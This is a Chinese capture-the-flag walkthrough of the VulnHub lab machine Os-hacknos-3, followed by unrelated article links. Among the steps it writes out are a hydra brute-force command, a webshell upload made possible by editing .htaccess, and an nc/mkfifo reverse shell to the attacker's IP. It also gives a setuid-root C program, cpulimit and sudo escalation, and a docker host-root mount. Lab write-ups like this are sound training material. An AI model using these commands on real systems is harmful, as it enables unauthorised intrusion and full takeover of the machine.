当前位置: 首页 > news >正文

vulnhub靶场(Os-hacknos-3)

一.信息收集:

1.使用nmap扫描:

使用nmap扫描发现目标机器开放了22和80端口

访问后发现除一段文字就没有其他东西了

2.使用dirsearch扫目录: 

使用dirsearch扫描目录发现没有什么有用的东西

在访问websec这个目录发现了新东西

在次扫描新目录发现有个admin目录,应该是后台登陆的页面

发现其真的是一个登陆页

竟然是登陆那就尝试爆破一下,在websec那个页面下发现了一个邮箱

二.漏洞探测:

1.使用cewl工具生成可能的密码:

cewl http://192.168.80.140/websec/ > cewl.txt

2.使用九头蛇爆破密码:

hydra -l contact@hacknos.com -P cewl.txt 192.168.5.134 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V

 通过爆破拿到了密码为Securityx

通过搜索知道了GilaCMS存在sql注入和文件上传和本地文件包含漏洞

三.漏洞利用:

1.文件上传:

在上传图片的地方尝试以后发现他无法上传php的文件用的是后端白名单

 2.文件读取:

使用抓包工具抓取删除的数据包

读取他的etc/passwd,但是没有什么可以利用的

3.文件管理:

 发现有一个可以上传删除文件的模块

 上传一个一句话木马,发现无法访问

因为assets目录中的.htaccess文件禁止访问php文件,我们把他里面的代码全部注释掉

使用了蚁剑发现无法连接使用哥斯拉成功连接了

 这里拿到了一个普通用户的密码

四.权限提升:

这里使用反弹shell或者远控来拿到一个完整的shell

先在本地使用nc监听

nc -lvnp 9000

在webshell中输入

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc 192.168.80.130 9000 >/tmp/f

其中192.168.80.130是攻击机kali的ip

然后查找可供提权的命令

find /usr/bin -type f -perm -u=s 2>/dev/null

发现没有可行的命令

1.cpulimit + suid:

cpulimit -l 100 -f -- /bin/sh -p

 

2.利用suid 文件的特性进行提权: 

在本地kali里面使用vim cpu.c进行编辑

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0);setgid(0);system("/bin/bash");return 0;
}

使用gcc cpu.c -o exp编译为exp,上传之后使用chmod +x exp添加运行权限,使用cpulimit -l 100 -f ./exp进行提权

我看别的师父可以成功但是我这里没有成功

 

3.sudo 提权:

我们尝试登陆blackdevil这个普通用户

根据网上大佬的提示在/var/local/database中发现了经过加密的内容 

在这个网站解密我们拿到了用户的密码

成功登陆

使用sudo-l查询发现他可以直接用sudo切换为root

sudo su root

 4.使用docker提权:

使用blackdevil用户执行将一个主机的根目录挂载到容器下

docker run -it -v /:/mnt alpine /bin/sh

由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限

docker run -it -v /:/mnt 镜像id


http://www.mrgr.cn/news/81445.html

相关文章:

  • idea部署maven项目步骤(图+文)
  • 【踩坑记录】C编程变量未初始化导致的程序异常
  • 大数据技术-Hadoop(二)HDFS的介绍与使用
  • 783-对象为文件夹-以关键词创建文件夹-查找指定目录下带有关键词的文件夹-移动到创建的文件夹去
  • WPS如何快速将数字金额批量转换成中文大写金额,其实非常简单
  • Excel 列名称转换问题 Swift 解答
  • 【ES6复习笔记】模板字符串(3)
  • 【C++】设计模式
  • FreeSql
  • 【Rust自学】7.1. Package、Crate和定义Module
  • 【ES6复习笔记】函数参数的默认值(6)
  • 【Rust自学】6.4. 简单的控制流-if let
  • 【ES6复习笔记】let 和 const 命令(1)
  • 【ES6复习笔记】Promise对象详解(12)
  • 重温设计模式--5、职责链模式
  • 实现 QTreeWidget 中子节点勾选状态的递归更新功能只影响跟节点的状态父节点状态不受影响
  • 单片机:实现可调时钟(附带源码)
  • MarkItDown的使用(将Word、Excel、PDF等转换为Markdown格式)
  • Python|Pyppeteer实现自动化获取reCaptcha验证码图片以及提示词(29)
  • echarts地图可视化展示
  • RSICV国产芯片之CHV208
  • Datawhale-AI活动2024.12.24
  • Linux大数据方向shell
  • 增强路由器
  • 【RAG实战】语言模型基础
  • 微信小程序性能优化